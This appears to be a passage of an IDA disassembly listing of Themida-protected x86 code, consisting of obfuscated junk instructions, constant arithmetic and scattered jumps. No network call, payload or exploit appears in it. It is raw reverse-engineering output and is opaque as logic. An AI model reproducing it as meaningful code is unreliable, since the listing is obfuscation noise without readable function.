		sub	ebp, eax
		pop	eax
		mov	edx, [esp+0]
		add	esp, 4
		xchg	ebp, [esp+42h+var_44+2]
		jmp	loc_58DE30
; ---------------------------------------------------------------------------


loc_592686:				; CODE XREF: sub_59196D+6338j
		shl	edx, 1
		jmp	sub_591077
; ---------------------------------------------------------------------------


loc_59268D:				; CODE XREF: sub_59196D-3725j
		mov	[esp+28h+var_2A+2], ecx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592695:				; CODE XREF: sub_59196D+3E25j
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_58BF1D
; ---------------------------------------------------------------------------


loc_59269D:				; CODE XREF: sub_59196D+2DB1j
		add	bl, 0A3h
		add	al, bl
		pop	ebx
		push	3BBDh
		mov	[esp+28h+var_2A+2], edx
		jmp	loc_58E7E9
; ---------------------------------------------------------------------------


loc_5926B0:				; CODE XREF: sub_59196D+1980j
		dec	eax
		neg	eax
		jnb	loc_5962F4
		dec	eax
		jns	loc_58F8CE
		xor	eax, 0BB938F45h
		mov	ebx, eax
		pop	eax
		add	ebx, 2C6073AEh
		shr	ebx, 7
		sub	ebx, 53183204h
		sub	ebx, 7CB85E52h
		sub	ebx, 30BDB49Ch
		jmp	loc_591BCF
; ---------------------------------------------------------------------------


loc_5926E8:				; CODE XREF: sub_59196D-27D0j
		xor	byte ptr [esp+18h+var_1A+3], bh
		jmp	loc_594D95
; ---------------------------------------------------------------------------


loc_5926F1:				; CODE XREF: sub_59196D-27F8j
		add	ebx, edi
		mov	edi, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_593713
; ---------------------------------------------------------------------------


loc_592701:				; CODE XREF: Themida_:0058EF17j
		push	ebx
		not	[esp-14h+arg_10]
		jmp	loc_5919F8
; ---------------------------------------------------------------------------


loc_59270A:				; CODE XREF: sub_59196D+2E5Fj
		mov	[esp-14h+arg_10], ebp
		inc	[esp-14h+arg_10]
		push	[esp-14h+arg_10]
		jmp	loc_58DF7D
; ---------------------------------------------------------------------------


loc_592718:				; CODE XREF: sub_59196D+105Fj
		xor	esi, ebx
		xor	ebx, esi
		xchg	ebx, [esp-10h+arg_C]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592724:				; CODE XREF: sub_59196D-FEDj
		jnp	loc_58BA76
		add	eax, 60CA14C6h
		jmp	loc_597E0C
; ---------------------------------------------------------------------------
		add	edi, ebp


loc_592736:				; CODE XREF: sub_59196D-3F2j
		add	ebx, 61BB3840h
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		sub	eax, 4F93734Fh
		sub	eax, ecx
		add	eax, 4F93734Fh
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ecx
		push	edx
		mov	edx, 0E4D67BCh
		add	edx, 3B25AF77h
		mov	ecx, edx
		pop	edx
		sub	eax, ecx
		pop	ecx
		pop	ecx
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	4433h
		jmp	loc_59525D
; ---------------------------------------------------------------------------


loc_59277A:				; CODE XREF: sub_59196D+248Cj
		and	bh, 1Eh
		jmp	loc_592277
; ---------------------------------------------------------------------------


loc_592782:				; CODE XREF: sub_59196D-572Ej
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		jmp	loc_58EB5F
; ---------------------------------------------------------------------------


loc_59278E:				; CODE XREF: sub_59196D-F6Bj
		xor	ecx, 1EFF2096h
		push	edx
		jmp	loc_5922DF
; ---------------------------------------------------------------------------


loc_59279A:				; CODE XREF: sub_59196D-823j
		pop	eax
		jmp	loc_58FBC7
; ---------------------------------------------------------------------------


loc_5927A0:				; CODE XREF: sub_59196D+3491j
		add	bl, 18h
		jl	loc_5975CC
		jmp	loc_58D838
; ---------------------------------------------------------------------------


loc_5927AE:				; DATA XREF: Themida_:0058B204o
		lodsb
		push	small 7002h
		mov	word ptr [esp+34h+var_36+2], bx
		push	eax
		mov	ah, 3Ah
		jmp	loc_5968D6
; ---------------------------------------------------------------------------


loc_5927BF:				; CODE XREF: sub_59196D+3BE3j
		xchg	eax, [esp+0]
		pop	edx
		push	esi
		jmp	loc_58FA9D
; ---------------------------------------------------------------------------


loc_5927C9:				; CODE XREF: sub_59196D+5994j
		pop	bx
		sub	al, 6Dh
		push	bx
		push	eax
		push	ecx
		jmp	loc_5913D4
; ---------------------------------------------------------------------------


loc_5927D6:				; CODE XREF: sub_58B76A+12j
		push	ecx
		mov	cl, 9
		neg	cl
		add	cl, 0A8h
		jmp	loc_597516
; ---------------------------------------------------------------------------


loc_5927E3:				; CODE XREF: sub_59196D:loc_590B5Ej
		or	eax, 9687297h
		jg	loc_58D508
		inc	eax
		jmp	loc_592D0B
; ---------------------------------------------------------------------------
		mov	[esp+4+var_4], ebx
		mov	esi, esi
		push	esp


loc_5927FA:				; CODE XREF: sub_59196D-5F80j
					; sub_59196D+2632j
		xchg	edx, [esp+8+var_8]
		pop	esp
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_590AC2
; ---------------------------------------------------------------------------


loc_592812:				; CODE XREF: sub_59196D-1247j
		push	ecx
		mov	ecx, 72813B51h
		not	ecx
		shr	ecx, 3
		sub	ecx, 0E0A6BDB1h
		jmp	loc_58D9D0
; ---------------------------------------------------------------------------


loc_592828:				; CODE XREF: sub_59196D-5BAFj
		mov	edx, 7D722E8h
		add	edx, 281C2FA6h
		jmp	loc_595BB9
; ---------------------------------------------------------------------------


loc_592838:				; CODE XREF: Themida_:0058BCD4j
		mov	eax, 6B408C5h
		not	eax
		xor	eax, 5A8C242Ah
		add	eax, 56853373h
		sub	esp, 4
		mov	[esp+32h+var_32], ecx
		mov	ecx, 0C9A4C341h
		sub	eax, ecx
		pop	ecx
		jmp	loc_58CE22
; ---------------------------------------------------------------------------


loc_59285C:				; CODE XREF: sub_59196D+1179j
		mov	edx, 7CC154FFh
		push	ecx
		push	esi
		push	6DE6h
		mov	[esp+3Ah+var_3C+2], edi
		mov	edi, 2CA23BEFh
		mov	esi, edi
		jmp	loc_58B87A
; ---------------------------------------------------------------------------


loc_592877:				; CODE XREF: Themida_:00590EEFj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		pop	esp
		push	0
		sub	[esp+36h+var_36], ebp
		pop	ebp
		jmp	loc_58B638
; ---------------------------------------------------------------------------


loc_592893:				; CODE XREF: sub_59196D+36AAj
		push	eax
		mov	eax, 5206604Ch
		xor	esi, eax
		pop	eax
		and	esi, 257256BEh
		shr	esi, 5
		xor	esi, 12182A5h
		add	eax, esi
		mov	esi, [esp+32h+var_32]
		add	esp, 4
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, 62354DE0h
		sub	eax, edx
		pop	edx
		jmp	loc_58D4BF
; ---------------------------------------------------------------------------


loc_5928C7:				; CODE XREF: sub_59196D+15C2j
		sub	esi, 5D5773FBh
		sub	edi, 7D1F7AA1h
		sub	edi, esi
		add	edi, 7D1F7AA1h
		pop	esi
		push	edi
		mov	eax, [esp+32h+var_32]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+36h+var_36]
		pop	esp
		mov	edi, [esp+32h+var_32]
		add	esp, 4
		sub	esp, 4
		jmp	loc_594A66
; ---------------------------------------------------------------------------


loc_5928FF:				; CODE XREF: sub_59196D+6C39j
		neg	ebp
		dec	ebp
		jmp	loc_593B95
; ---------------------------------------------------------------------------


loc_592907:				; CODE XREF: sub_59196D+1D33j
		push	6C9Eh
		jmp	loc_5966BC
; ---------------------------------------------------------------------------


loc_592911:				; CODE XREF: Themida_:005901BFj
					; sub_591077+6j
		push	edi
		mov	edi, 0D635B51h
		push	edx
		mov	edx, 4C2F29B8h
		or	edi, edx
		pop	edx
		shl	edi, 8
		or	edi, 3815714Ch
		shr	edi, 3
		push	ebx
		mov	ebx, 5044314Bh
		jmp	loc_58D3EA
; ---------------------------------------------------------------------------


loc_592937:				; CODE XREF: sub_59196D-2EB3j
		pop	ebx
		jmp	loc_591CFC
; ---------------------------------------------------------------------------


loc_59293D:				; CODE XREF: sub_59196D+29Cj
		pop	esi
		push	7C4Bh
		jmp	loc_58BC00
; ---------------------------------------------------------------------------


loc_592948:				; CODE XREF: sub_59196D+2054j
		sub	edx, 64E15FC8h
		push	ecx
		mov	ecx, 3926AACh
		jmp	loc_5973B1
; ---------------------------------------------------------------------------


loc_592959:				; CODE XREF: sub_59196D+5173j
		mov	ebp, 70DA76C5h
		sub	ebp, 9F57982Fh
		sub	edi, ebp
		pop	ebp
		sub	esi, edi
		jmp	loc_590885
; ---------------------------------------------------------------------------


loc_59296E:				; CODE XREF: sub_59196D+244Bj
		sub	esp, 4
		jmp	loc_58F52A
; ---------------------------------------------------------------------------


loc_592979:				; CODE XREF: sub_59196D+558Dj
		or	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 59062249h
		inc	ebx
		shl	ebx, 6
		jmp	loc_595F5F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592993:				; CODE XREF: sub_59196D-1903j
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		jmp	loc_596435
; ---------------------------------------------------------------------------


loc_5929B7:				; CODE XREF: sub_59196D+3101j
		pop	ecx
		and	eax, ecx
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_58BB1D
; ---------------------------------------------------------------------------


loc_5929C3:				; CODE XREF: sub_59196D+2B92j
		mov	[esp+8+var_8], esi
		not	[esp+8+var_8]
		pop	esi
		xor	ebx, esi
		jmp	loc_592718
; ---------------------------------------------------------------------------


loc_5929D1:				; CODE XREF: sub_59196D+67DBj
		pop	ebp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_59709D
		push	1D4Bh
		mov	[esp+0], esi
		mov	esi, esp
		jmp	loc_593A52
; ---------------------------------------------------------------------------


loc_5929EC:				; CODE XREF: sub_59196D-3580j
		add	esp, 4
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		sub	byte ptr [esp+28h+var_2A+2], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5929FE:				; CODE XREF: sub_58D10E+915j
		xor	[esp+2Ch+var_2E+2], edx
		xor	edx, [esp+2Ch+var_2E+2]
		pop	esp
		mov	dx, word ptr [esp+28h+var_2A+2]
		push	5D3Ch
		mov	[esp+2Ch+var_2E+2], eax
		push	esp
		mov	eax, [esp+30h+var_32+2]
		add	esp, 4
		jmp	loc_5933BC
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Ch+var_2E+2]
		jmp	loc_590EFA
; ---------------------------------------------------------------------------


loc_592A26:				; CODE XREF: sub_59196D-3DAj
		add	esi, 4
		jmp	loc_594C8A
; ---------------------------------------------------------------------------


loc_592A2E:				; CODE XREF: sub_59196D-45CCj
					; sub_59196D+1FE0j
		mov	[esp+44h+var_44], ecx
		mov	cl, 6Bh
		dec	cl
		jmp	loc_58C22F
; ---------------------------------------------------------------------------


loc_592A3A:				; CODE XREF: sub_59196D+512Aj
		pop	edi
		add	esp, 4
		add	ebp, 4
		jmp	sub_58F5C1
; ---------------------------------------------------------------------------


loc_592A4C:				; CODE XREF: sub_59196D-1E82j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58D06B
; ---------------------------------------------------------------------------


loc_592A5D:				; CODE XREF: sub_59196D+C47j
		sub	edx, 6F752D81h
		add	edx, edi
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 1ECC0701h
		add	eax, 47E57CCDh
		sub	eax, 5A9E6669h
		add	eax, 0F3ECE29Fh
		add	edx, eax
		pop	eax
		push	esi
		jmp	loc_591D2B
; ---------------------------------------------------------------------------


loc_592A86:				; CODE XREF: sub_59196D-1957j
					; sub_59196D+2EAEj
		mov	edi, 44A70AC9h
		dec	edi
		add	edi, 0BB58F53Ch
		add	edx, edi
		push	[esp+12h+var_12]
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		add	esp, 4
		jmp	loc_5971A9
; ---------------------------------------------------------------------------


loc_592AA8:				; CODE XREF: sub_59196D-61CEj
		neg	dh
		shr	dh, 7
		sub	dh, 7Dh
		or	dh, 6Bh
		add	dh, 0ADh
		xor	dh, 0DEh
		jmp	loc_591EAB
; ---------------------------------------------------------------------------
		lodsb
		push	7664h
		jmp	loc_597E9C
; ---------------------------------------------------------------------------


loc_592AC9:				; CODE XREF: sub_59196D+515Aj
		push	edx
		mov	edx, 12355CFh
		mov	ebp, 2A24527Dh
		xor	ebp, edx
		pop	edx
		dec	ebp
		push	ecx
		jmp	loc_598199
; ---------------------------------------------------------------------------


loc_592ADE:				; DATA XREF: Themida_:0058B200o
		mov	ax, word ptr [esp+28h+var_2A+2]
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_59285C
; ---------------------------------------------------------------------------


loc_592AEB:				; CODE XREF: sub_59196D-26EEj
		pop	eax
		jmp	loc_591873
; ---------------------------------------------------------------------------


loc_592AF1:				; CODE XREF: sub_58D7D7+2968j
		xor	edx, 58217C5Bh
		or	edx, 580900CAh
		shl	edx, 4
		jmp	loc_59120B
; ---------------------------------------------------------------------------


loc_592B05:				; CODE XREF: sub_59196D+C1Dj
		mov	eax, 22BD6BDCh
		mov	ebx, eax
		pop	eax
		shr	ebx, 5
		jmp	loc_58DC37
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Ch+var_C]
		push	edi
		push	esp
		mov	edi, [esp+14h+var_16+2]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		jmp	loc_58F8CE
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+14h+var_16+2]
		push	3DF7h
		mov	[esp+18h+var_1A+2], eax
		push	7D73h
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, 14B1763h
		jmp	loc_593E12
; ---------------------------------------------------------------------------


loc_592B5C:				; CODE XREF: sub_59196D-2AE1j
		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		add	[esp+0Ch+var_8], esi
		pop	esi
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		push	ecx
		mov	ecx, 2
		push	edx
		mov	edx, 6BF749A8h
		add	eax, edx
		pop	edx
		jmp	loc_58C49D
; ---------------------------------------------------------------------------


loc_592BA4:				; CODE XREF: sub_59196D-6139j
		pop	esi
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		push	edx
		mov	edx, 7A4772F7h
		jmp	loc_59384F
; ---------------------------------------------------------------------------


loc_592BB9:				; CODE XREF: sub_59196D+5284j
		sub	ebx, 74B36A0Fh
		jmp	loc_5977D3
; ---------------------------------------------------------------------------


loc_592BC4:				; CODE XREF: sub_59196D+47D7j
		push	[esp+18h+var_16+2]
		jmp	loc_593AD8
; ---------------------------------------------------------------------------


loc_592BCD:				; CODE XREF: sub_59196D+4083j
		pop	ebp
		jmp	loc_591A40
; ---------------------------------------------------------------------------


loc_592BD3:				; CODE XREF: sub_59196D:loc_594F15j
		and	ebx, 45FF143Ah
		jnz	loc_58FECD
		sub	ebx, 60A843AAh
		jmp	loc_5936DE
; ---------------------------------------------------------------------------


loc_592BEA:				; CODE XREF: sub_59196D+4F5j
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, 4C1761D0h
		neg	eax
		jmp	loc_58DF29
; ---------------------------------------------------------------------------


loc_592C05:				; CODE XREF: sub_59196D+4553j
		xor	[esp+0Ah+var_C+2], eax
		xor	eax, [esp+0Ah+var_C+2]
		pop	esp


loc_592C0C:				; CODE XREF: sub_59196D-7DAj
		push	7E16h
		mov	[esp+0Ah+var_C+2], edi
		jmp	loc_591EDA
; ---------------------------------------------------------------------------


loc_592C19:				; CODE XREF: sub_59196D+2003j
		add	eax, 36B9EB28h
		xor	edi, eax
		pop	eax
		jmp	loc_5945FC
; ---------------------------------------------------------------------------


loc_592C26:				; CODE XREF: sub_59196D+3D6Bj
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		jmp	loc_59785D
; ---------------------------------------------------------------------------


loc_592C38:				; CODE XREF: sub_59196D:loc_58DE16j
					; sub_59196D+58DAj
		pop	ebp
		sub	esp, 4
		jmp	loc_590CCB
; ---------------------------------------------------------------------------


loc_592C41:				; CODE XREF: sub_59196D-5BEBj
		xor	ecx, 6BE52D20h
		add	ebp, ecx
		pop	ecx
		push	ebx
		jmp	loc_59501C
; ---------------------------------------------------------------------------


loc_592C50:				; CODE XREF: sub_59196D+5E7Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_593EFA
; ---------------------------------------------------------------------------


loc_592C64:				; CODE XREF: sub_59196D+1DE4j
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_58B95E
; ---------------------------------------------------------------------------


loc_592C77:				; CODE XREF: sub_59196D-534Fj
		pop	eax
		push	ebp
		push	[esp+1Ch+var_1A+2]
		pop	ebp
		pop	[esp+1Ch+var_1E+2]
		pop	esp
		add	esp, 4
		movsx	ecx, al
		push	ecx
		jmp	sub_591000
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+14h+var_16+2]
		push	esi
		jmp	loc_58CB43
; ---------------------------------------------------------------------------


loc_592C9B:				; CODE XREF: sub_59196D-CFCj
		add	edx, 5B1258F4h
		add	edx, esi
		jmp	loc_58DAFA
; ---------------------------------------------------------------------------


loc_592CA8:				; CODE XREF: sub_59196D+93Ej
		xor	esi, 2C7304FDh
		sub	esi, 1D035B28h
		push	ebx
		jmp	loc_594723
; ---------------------------------------------------------------------------


loc_592CBA:				; CODE XREF: sub_59196D:loc_58E9EEj
		add	eax, 0E120F20Fh
		mov	ecx, eax
		pop	eax
		mov	edi, ecx
		jmp	loc_5906B1
; ---------------------------------------------------------------------------


loc_592CC9:				; CODE XREF: sub_59196D-1D1Fj
		pop	ebx
		jmp	loc_58F336
; ---------------------------------------------------------------------------


loc_592CCF:				; CODE XREF: sub_59196D+2950j
		mov	edx, 2
		jmp	loc_598254
; ---------------------------------------------------------------------------


loc_592CD9:				; CODE XREF: sub_59196D-1CB0j
		push	esi
		jmp	loc_5901F8
; ---------------------------------------------------------------------------


loc_592CDF:				; CODE XREF: sub_59196D-4087j
					; sub_59196D+4988j
		pop	esp
		add	edi, 4
		add	edi, 2
		jmp	loc_590F33
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Eh+var_2E]
		sub	esp, 4
		mov	[esp+32h+var_32], eax
		jmp	loc_596D75
; ---------------------------------------------------------------------------


loc_592CFD:				; CODE XREF: sub_59196D+1FF5j
		push	edx
		mov	edx, 57242CA9h
		xor	ecx, edx
		pop	edx
		jmp	loc_591A59
; ---------------------------------------------------------------------------


loc_592D0B:				; CODE XREF: sub_59196D+E82j
					; sub_59196D+5BDDj
		mov	edx, 7DD45C4Fh
		jmp	loc_5976FB
; ---------------------------------------------------------------------------


loc_592D15:				; CODE XREF: sub_59196D-31D6j
		add	dh, 21h
		xor	dh, 0C5h
		push	ebx
		mov	bh, dh
		mov	al, bh
		pop	ebx
		pop	edx
		xor	al, cl
		jmp	loc_58CCA8
; ---------------------------------------------------------------------------


loc_592D29:				; CODE XREF: sub_59196D-181Cj
		add	eax, ebp
		mov	ebp, [esp+20h+var_22+2]
		push	ebp
		jmp	loc_58E656
; ---------------------------------------------------------------------------


loc_592D34:				; CODE XREF: sub_58CF35+5j
		push	ecx
		jmp	loc_597A68
; ---------------------------------------------------------------------------


loc_592D3A:				; CODE XREF: sub_59196D+4048j
		not	edi
		shr	edi, 3
		add	edi, 144A9465h
		sub	eax, edi
		pop	edi
		sub	eax, ebx
		push	esi
		mov	esi, 1E694DD6h
		jmp	loc_58C808
; ---------------------------------------------------------------------------


loc_592D55:				; DATA XREF: Themida_:0058B0C8o
		mov	cx, word ptr [esp+28h+var_2A+2]
		push	56FEh
		mov	[esp+2Ch+var_2E+2], ebp
		jmp	loc_593C05
; ---------------------------------------------------------------------------


loc_592D66:				; CODE XREF: sub_59196D:loc_58EA09j
					; sub_59196D+4BDCj
		pop	esi
		dec	eax
		and	eax, 31F3377Eh
		add	eax, 46A34E1Ch
		or	eax, 34910B73h
		push	658Dh
		jmp	loc_5931BF
; ---------------------------------------------------------------------------


loc_592D81:				; CODE XREF: sub_59196D-3FA2j
		sub	esi, 0BBCB5B60h
		jmp	loc_59112A
; ---------------------------------------------------------------------------


loc_592D8C:				; CODE XREF: sub_59196D+60DAj
		add	esp, 4
		push	3D16h
		mov	[esp+14h+var_16+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	1165h
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 1
		and	eax, ebx
		push	[esp+14h+var_16+2]
		pop	ebx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esi
		mov	esi, esp
		push	1333h
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, 3A0773F5h
		xor	eax, 0C7E7A59h
		not	eax
		jmp	loc_58F487
; ---------------------------------------------------------------------------


loc_592DE6:				; CODE XREF: sub_59196D+5B8Bj
		add	ebx, edx
		pop	edx
		mov	dword ptr [ebx], 0
		mov	ebx, [esp+18h+var_1A+2]
		push	2DCBh
		mov	[esp+1Ch+var_1E+2], esi
		mov	esi, esp
		jmp	loc_58FC5B
; ---------------------------------------------------------------------------


loc_592E01:				; CODE XREF: sub_59196D+5E0Dj
					; sub_59196D+6C9Bj
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_59517A
; ---------------------------------------------------------------------------


loc_592E0A:				; CODE XREF: Themida_:0058E3C6j
		push	edx
		jmp	loc_59301C
; ---------------------------------------------------------------------------


loc_592E10:				; CODE XREF: sub_59196D-587Fj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_58FDDF
; ---------------------------------------------------------------------------


loc_592E34:				; CODE XREF: sub_59196D+2FE7j
		pop	edi
		xor	edi, 2D2B71E3h
		pop	ebx
		mov	esi, 0E6734EFBh
		sub	esi, edi
		pop	edi
		shl	esi, 1
		jmp	loc_5971EE
; ---------------------------------------------------------------------------


loc_592E4B:				; DATA XREF: Themida_:0058B0E0o
		mov	ax, [esp+0]
		jmp	sub_591344
; ---------------------------------------------------------------------------


loc_592E54:				; CODE XREF: sub_59196D+44B6j
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebx
		add	[esp-4+arg_0], 766A0C77h
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5984B6
; ---------------------------------------------------------------------------


loc_592E7E:				; CODE XREF: sub_590F7A+9j
		inc	dword ptr [esp+0]
		pop	esi
		xor	esi, 55754E6Eh
		push	ebp
		mov	ebp, 76D94DE2h
		sub	ebp, 31F5E2ACh
		add	esi, ebp
		pop	ebp
		sub	esi, 6D44BA69h
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		pop	ebx
		push	[esp-4+arg_0]
		pop	esi
		push	eax
		jmp	loc_594B86
; ---------------------------------------------------------------------------


loc_592EAD:				; CODE XREF: sub_59196D-55B3j
					; sub_59196D-54B9j
		push	1B0Ah
		mov	[esp+18h+var_1A+2], eax
		push	eax
		mov	eax, 18072CB9h
		add	[esp+1Ch+var_1A+2], eax
		pop	eax
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		push	esi
		push	5F61h
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, esp
		jmp	loc_5954F1
; ---------------------------------------------------------------------------


loc_592ED6:				; CODE XREF: sub_591344-2DE2j
		neg	edx
		xor	edx, 0A152E79Fh
		add	ebp, 3160611Eh
		sub	ebp, edx
		jmp	loc_58D302
; ---------------------------------------------------------------------------
		push	[esp+1Ch+var_1E+2]
		pop	eax
		push	3E4Dh
		mov	[esp+20h+var_22+2], esi
		mov	esi, esp
		push	edx
		jmp	loc_58FBDA
; ---------------------------------------------------------------------------


loc_592EFF:				; CODE XREF: sub_59196D+46FFj
		add	eax, 7381530h
		push	[esp+24h+var_26+2]
		pop	ebx
		add	esp, 4
		add	eax, 2
		jmp	loc_58D1C4
; ---------------------------------------------------------------------------


loc_592F15:				; CODE XREF: sub_59196D-15BDj
		push	ebx
		jmp	loc_58D7EA
; ---------------------------------------------------------------------------


loc_592F1B:				; CODE XREF: sub_59196D+41E8j
		add	esp, 4
		dec	esi
		jmp	loc_58BEF4
; ---------------------------------------------------------------------------


loc_592F27:				; CODE XREF: sub_59196D+24Fj
		push	336E4089h
		pop	esi
		not	esi
		jmp	loc_5928C7
; ---------------------------------------------------------------------------


loc_592F34:				; CODE XREF: sub_59196D+262Bj
		push	esi
		jmp	loc_595959
; ---------------------------------------------------------------------------


loc_592F3A:				; CODE XREF: sub_59196D-59Ej
		mov	esi, 6C727119h
		shr	esi, 5
		and	esi, 752D5ED6h
		jmp	loc_594D6C
; ---------------------------------------------------------------------------


loc_592F4D:				; CODE XREF: sub_59196D+552Aj
		xor	esi, 2B7B0F78h
		js	loc_5901A2
		push	edi
		jmp	loc_58E33C
; ---------------------------------------------------------------------------


loc_592F5F:				; CODE XREF: sub_59196D-5125j
		add	edi, 8E84E35Ch
		jmp	loc_597C2B
; ---------------------------------------------------------------------------


loc_592F6A:				; CODE XREF: sub_59196D-36A9j
		xor	ebx, eax
		mov	dx, word ptr [esp+3Eh+var_40+2]
		push	ecx
		jmp	loc_58CF87
; ---------------------------------------------------------------------------


loc_592F76:				; CODE XREF: sub_59196D-5DF8j
					; sub_59196D+265Fj
		pop	edx
		neg	esi
		or	esi, 35B72A8Eh
		push	eax
		mov	eax, 707316DDh
		or	eax, 7AF2788Fh
		add	eax, 0CA17FE40h
		jmp	loc_5977A8
; ---------------------------------------------------------------------------


loc_592F94:				; CODE XREF: sub_59196D-2509j
		inc	eax
		or	eax, 2A393560h
		jmp	loc_58E13A
; ---------------------------------------------------------------------------


loc_592F9F:				; CODE XREF: sub_59196D+4AE1j
		mov	esp, [esp+2+var_4+2]
		mov	cx, word ptr [esp+2+var_4+2]
		jmp	loc_58C829
; ---------------------------------------------------------------------------


loc_592FAB:				; CODE XREF: sub_58C3EF+3CA9j
		xor	edi, 538776FFh
		neg	edi
		xor	edi, 4555013Ah
		sub	edi, 15AC90B1h
		sub	ebx, edi
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_58BD34
; ---------------------------------------------------------------------------


loc_592FCC:				; CODE XREF: sub_59196D+4859j
		add	dh, 0EFh
		not	dh
		add	dh, 0FDh
		sub	al, 0Ah
		add	al, dh
		add	al, 0Ah
		pop	edx
		pop	edx
		push	ecx
		push	ebx
		mov	bh, 46h
		shl	bh, 1
		xor	bh, 3Fh
		jmp	loc_58B421
; ---------------------------------------------------------------------------


loc_592FEA:				; CODE XREF: sub_59196D-3DDEj
		push	54110F11h
		pop	ebx
		and	ebx, 7B7B5567h
		xor	ebx, 32861A84h
		mov	ebp, ebx
		jmp	loc_591E4F
; ---------------------------------------------------------------------------


loc_593003:				; CODE XREF: sub_59196D-E95j
		mov	[esp+10h+var_12+2], ecx
		mov	ecx, 765664F1h
		xor	ecx, 765664F5h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_58E23F
; ---------------------------------------------------------------------------


loc_59301C:				; CODE XREF: sub_59196D+149Ej
		mov	dh, 0D1h
		xor	dh, 0F0h
		add	al, dh
		pop	edx
		push	ecx
		jmp	loc_595ED5
; ---------------------------------------------------------------------------


loc_59302A:				; CODE XREF: sub_59196D-589Cj
		mov	ah, 3Bh
		push	bx
		mov	bh, 4
		add	ch, bh
		pop	bx
		add	ch, ah
		sub	ch, 4
		pop	eax
		add	al, ch
		pop	ecx
		sub	bl, 0Eh
		sub	bl, 93h
		add	bl, 0D7h
		add	bl, al
		push	eax
		mov	ah, 8Ah
		sub	ah, 95h
		and	ah, 0E1h
		not	ah
		jmp	loc_58FCB0
; ---------------------------------------------------------------------------


loc_593058:				; CODE XREF: sub_59196D+1F8Dj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_596DB0
; ---------------------------------------------------------------------------


loc_593069:				; CODE XREF: sub_59196D-65A7j
		pop	esp
		jmp	loc_5944F4
; ---------------------------------------------------------------------------


loc_59306F:				; CODE XREF: sub_59196D-1B30j
		push	758Bh
		mov	[esp+18h+var_1A+2], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_58D714
; ---------------------------------------------------------------------------


loc_593081:				; CODE XREF: sub_59196D-256Ej
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_58DDC2
; ---------------------------------------------------------------------------


